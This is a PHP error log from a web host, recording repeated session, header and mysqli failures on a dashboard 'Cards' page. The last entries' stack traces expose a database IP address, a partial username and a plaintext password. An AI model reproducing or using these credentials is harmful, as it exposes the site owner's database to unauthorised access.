[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:20:24 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:25:28 Europe/Istanbul] PHP Fatal error: Uncaught mysqli_sql_exception: Connection timed out in /home/luckycha/public_html/Dashboard/Cards/index.php:6
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(6): mysqli_connect('85.208.106.239', 'luckycha_charmu...', 'Emre.1337', 'luckycha_charmd...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:25:31 Europe/Istanbul] PHP Fatal error: Uncaught mysqli_sql_exception: Connection timed out in /home/luckycha/public_html/Dashboard/Cards/index.php:6
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(6): mysqli_connect('85.208.106.239', 'luckycha_charmu...', 'Emre.1337', 'luckycha_charmd...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:25:38 Europe/Istanbul] PHP Fatal error: Uncaught mysqli_sql_exception: Connection timed out in /home/luckycha/public_html/Dashboard/Cards/index.php:6
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(6): mysqli_connect('85.208.106.239', 'luckycha_charmu...', 'Emre.1337', 'luckycha_charmd...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:25:41 Europe/Istanbul] PHP Fatal error: Uncaught mysqli_sql_exception: Connection timed out in /home/luckycha/public_html/Dashboard/Cards/index.php:6
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(6): mysqli_connect('85.208.106.239', 'luckycha_charmu...', 'Emre.1337', 'luckycha_charmd...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:26:47 Europe/Istanbul] PHP Fatal error: Uncaught mysqli_sql_exception: Connection timed out in /home/luckycha/public_html/Dashboard/Cards/index.php:6
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(6): mysqli_connect('85.208.106.239', 'luckycha_charmu...', 'Emre.1337', 'luckycha_charmd...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:27:17 Europe/Istanbul] PHP Fatal error: Uncaught mysqli_sql_exception: Connection timed out in /home/luckycha/public_html/Dashboard/Cards/index.php:6
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(6): mysqli_connect('85.208.106.239', 'luckycha_charmu...', 'Emre.1337', 'luckycha_charmd...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:27:21 Europe/Istanbul] PHP Fatal error: Uncaught mysqli_sql_exception: Connection timed out in /home/luckycha/public_html/Dashboard/Cards/index.php:6
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(6): mysqli_connect('85.208.106.239', 'luckycha_charmu...', 'Emre.1337', 'luckycha_charmd...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
